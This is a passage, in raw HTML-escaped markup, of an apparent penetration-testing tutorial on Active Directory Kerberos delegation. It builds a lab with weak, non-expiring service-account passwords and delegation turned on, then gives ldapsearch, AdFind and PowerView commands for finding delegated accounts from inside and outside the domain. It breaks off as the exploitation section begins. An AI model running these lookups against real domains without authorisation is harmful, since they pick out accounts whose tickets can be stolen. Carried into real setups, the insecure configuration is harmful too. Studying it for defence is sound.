class="line"&gt;&lt;span class="cl"&gt;New-ADUser -Name &amp;#34;svc_iis&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -SamAccountName &amp;#34;svc_iis&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -UserPrincipalName &amp;#34;svc_iis@test.local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Path &amp;#34;CN=Users,DC=test,DC=local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -AccountPassword (ConvertTo-SecureString &amp;#34;Password123!&amp;#34; -AsPlainText -Force) `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Enabled $true `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -PasswordNeverExpires $true `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -ServicePrincipalNames &amp;#34;HTTP/webserver.test.local&amp;#34;,&amp;#34;HTTP/webserver&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Description &amp;#34;IIS Service Account&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Add the required group memberships to the account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-ADGroupMember -Identity &amp;#34;Server Operators&amp;#34; -Members &amp;#34;svc_iis&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Set the SPN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -A HTTP/webserver.domain.com svc_iis&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -A HTTP/webserver svc_iis&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify user creation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser svc_iis -Properties *&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify the SPN configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -L svc_iis&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;========================================================================================&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Second SharePoint service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-ADUser `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Name &amp;#34;svc_sharepoint&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -SamAccountName &amp;#34;svc_sharepoint&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -UserPrincipalName &amp;#34;svc_sharepoint@test.local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Path &amp;#34;CN=Users,DC=test,DC=local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -AccountPassword (ConvertTo-SecureString &amp;#34;Password123!&amp;#34; -AsPlainText -Force) `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Enabled $true `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -PasswordNeverExpires $true `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -ServicePrincipalNames &amp;#34;HTTP/sharepoint.test.local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Description &amp;#34;SharePoint Service Account&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Add the required group memberships to the account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-ADGroupMember -Identity &amp;#34;Server Operators&amp;#34; -Members &amp;#34;svc_sharepoint&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Set the SPN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -A HTTP/webserver.domain.com svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -A HTTP/webserver svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify user creation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser svc_sharepoint -Properties *&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify the SPN configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -L svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;======================================================================================&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IIS&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View the current service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser svc_iis -Properties *&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Configure unconstrained delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADUser -Identity &amp;#34;svc_iis&amp;#34; -TrustedForDelegation $true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify the configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser svc_iis -Properties userAccountControl&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The userAccountControl attribute should include TRUSTED_FOR_DELEGATION (524288)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;======================================================================================&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# As an example, allow it to delegate to the CIFS service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADAccountControl -Identity &amp;#34;svc_sharepoint&amp;#34; -TrustedToAuthForDelegation $true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADUser -Identity &amp;#34;svc_sharepoint&amp;#34; -Add @{&amp;#39;msDS-AllowedToDelegateTo&amp;#39;=@(&amp;#39;CIFS/test.local&amp;#39;)}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify the configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser svc_sharepoint -Properties &amp;#34;msDS-AllowedToDelegateTo&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;======================================================================================&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Find all accounts configured for unconstrained delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl | select name,objectClass,userAccountControl&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl,samaccountname,serviceprincipalname | select samaccountname,serviceprincipalname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | select Name,TrustedForDelegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Find all accounts configured for constrained delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADObject -Filter {msDS-AllowedToDelegateTo -like &amp;#34;*&amp;#34;} -Properties msDS-AllowedToDelegateTo&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="finding-unconstrained-delegation"&gt;&lt;a href="#finding-unconstrained-delegation" class="header-anchor"&gt;&lt;/a&gt;Finding Unconstrained Delegation&#10;&lt;/h4&gt;&lt;h5 id="ldapsearch"&gt;&lt;a href="#ldapsearch" class="header-anchor"&gt;&lt;/a&gt;ldapsearch&#10;&lt;/h5&gt;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;This comes with Kali and is useful for queries from outside the domain.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;There are too many arguments to list one by one. Run &lt;code&gt;ldapsearch -h&lt;/code&gt; whenever you need to look them up.&lt;/p&gt;&#10;&lt;p&gt;Find users configured for unconstrained delegation in the domain:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://192.168.141.145:389 -D &amp;#34;CN=qiyou,CN=Users,DC=qiyou,DC=com&amp;#34; -w password -b &amp;#34;DC=qiyou,DC=com&amp;#34; &amp;#34;(&amp;amp;(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))&amp;#34; |grep -iE &amp;#34;distinguishedName&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;An ordinary domain member account is enough to query this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Find hosts configured for unconstrained delegation in the domain:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://192.168.0.110:389 -D &amp;#34;CN=TestUser,CN=Users,DC=test,DC=local&amp;#34; -w &amp;#34;Password123\!&amp;#34; -b &amp;#34;DC=test,DC=local&amp;#34; &amp;#34;(&amp;amp;(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))&amp;#34; |grep -iE &amp;#34;distinguishedName&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For convenience, you can simply change 805306368 to 805306369.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: For more LDAP filter syntax, see the Microsoft manual: &lt;a class="link" href="https://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx?Sort=MostUseful" target="_blank" rel="noopener"&#10; &gt;link&lt;/a&gt;&lt;/p&gt;&#10;&lt;h5 id="adfind"&gt;&lt;a href="#adfind" class="header-anchor"&gt;&lt;/a&gt;ADFind&#10;&lt;/h5&gt;&lt;p&gt;Syntax:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AdFind [switches] [-b basedn] [-f filter] [attr list]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Arguments:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;-b: specifies the root node to query&lt;/li&gt;&#10;&lt;li&gt;-f: LDAP filter condition&lt;/li&gt;&#10;&lt;li&gt;attr list: attributes to display&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/mai-lang-chai/AD-Penetration-Testing-Tools" target="_blank" rel="noopener"&#10; &gt;https://github.com/mai-lang-chai/AD-Penetration-Testing-Tools&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;1. Find users configured for unconstrained delegation (from inside the domain):&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AdFind.exe -b &amp;#34;DC=test,DC=local&amp;#34; -f &amp;#34;(&amp;amp;(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))&amp;#34; cn distinguishedName&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;For convenience, I ran it on the domain controller.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;2. Find users configured for unconstrained delegation (from outside the domain):&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up &amp;#34;Password123!&amp;#34; -f &amp;#34;(&amp;amp;(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))&amp;#34; cn distinguishedName&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The author of the blog I used as a reference did not test this, but the GitHub repository linked above has the exact method.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;3. Find hosts configured for unconstrained delegation:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Inside the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AdFind.exe -b &amp;#34;DC=test,DC=local&amp;#34; -f &amp;#34;(&amp;amp;(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))&amp;#34; cn distinguishedName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Outside the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up &amp;#34;Password123!&amp;#34; -f &amp;#34;(&amp;amp;(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))&amp;#34; cn distinguishedName&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="powerview"&gt;&lt;a href="#powerview" class="header-anchor"&gt;&lt;/a&gt;PowerView&#10;&lt;/h5&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1" target="_blank" rel="noopener"&#10; &gt;https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Find users configured for constrained delegation.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainUser –TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t find an argument for username-and-password authentication.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/qq_41874930/article/details/109616189" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/qq_41874930/article/details/109616189&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/-zhong/p/12374568.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/-zhong/p/12374568.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.freebuf.com/sectool/173366.html" target="_blank" rel="noopener"&#10; &gt;https://www.freebuf.com/sectool/173366.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;These three pages introduce the module.&lt;/p&gt;&#10;&lt;p&gt;Find hosts configured for constrained delegation:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer -TrustedToAuth -Domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer -Unconstrained&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer -LDAPFilter &amp;#34;(userAccountControl:1.2.840.113556.1.4.803:=524288)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The output looks roughly like this:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;distinguishedname : CN=WINDOWSSERVERAD,OU=Domain Controllers,DC=test,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This is the domain controller path&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;useraccountcontrol : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This indicates that the host is configured for unconstrained delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnshostname : WindowsServerAD.test.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This is the host&amp;#39;s DNS name&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="exploiting-unconstrained-delegation"&gt;&lt;a href="#exploiting-unconstrained-delegation" class="header-anchor"&gt;&lt;/a&gt;Exploiting Unconstrained Delegation&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Overview&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;With &lt;code&gt;unconstrained delegation&lt;/code&gt; enabled on &lt;code&gt;service1&lt;/code&gt;&amp;rsquo;s service account, the &lt;code&gt;user&lt;/code&gt;&amp;rsquo;s &lt;code&gt;TGT&lt;/code&gt; is sent to &lt;code&gt;service1&lt;/code&gt; and cached in memory. &lt;code&gt;service1&lt;/code&gt; can then reuse that &lt;code&gt;TGT&lt;/code&gt; to access any domain service the user is authorized to access.&lt;/p&gt;&#10;&lt;p&gt;The unconstrained delegation request flow (diagram from the Microsoft manual):&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The Kerberos request shown above breaks down into these steps:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span 